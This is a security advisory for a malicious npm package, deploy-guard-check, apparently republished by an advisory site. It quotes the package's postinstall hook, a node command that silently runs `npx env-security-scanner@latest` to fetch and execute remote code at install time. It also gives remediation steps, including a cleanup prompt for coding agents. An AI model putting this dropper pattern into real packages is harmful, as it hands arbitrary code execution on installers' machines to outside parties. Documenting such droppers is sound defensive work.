# MAL-2026-4237: Malicious code in deploy-guard-check (npm)


- **Type:** Malicious package
- **Package:** `deploy-guard-check` (npm)
- **Published:** 22 May 2026
- **Also known as:** GHSA-wpr6-96j5-4p35

## What is MAL-2026-4237?

MAL-2026-4237 is a malicious package in deploy-guard-check, published on 22 May 2026. 

### Official description

The package is a thin dropper. Its package.json postinstall hook runs `node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}"`, fetching whatever version of `env-security-scanner` is current on the npm registry at install time and executing it on the installer's machine. The errors are silently swallowed by a try/catch, hiding failures from the installer. The package has no functionality of its own: index.js (used as both main and bin) does the same `npx env-security-scanner@latest audit_environment` invocation. Whoever controls the `env-security-scanner` package — or whoever takes it over in the future — can ship arbitrary code to every installer of this package at any time. Author metadata is a generic placeholder ("Safe Deploy Initiative"). This is the canonical install-time-RCE dropper pattern: unpinned `@latest` reference + lifecycle hook + no functionality except summoning another package.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4237?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4237 is a malicious package: deploy-guard-check (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4237/ (Markdown: https://insights.sbomify.com/MAL-2026-4237/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4237

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4237/
Summaries are generated and may contain mistakes; the official description above is the record.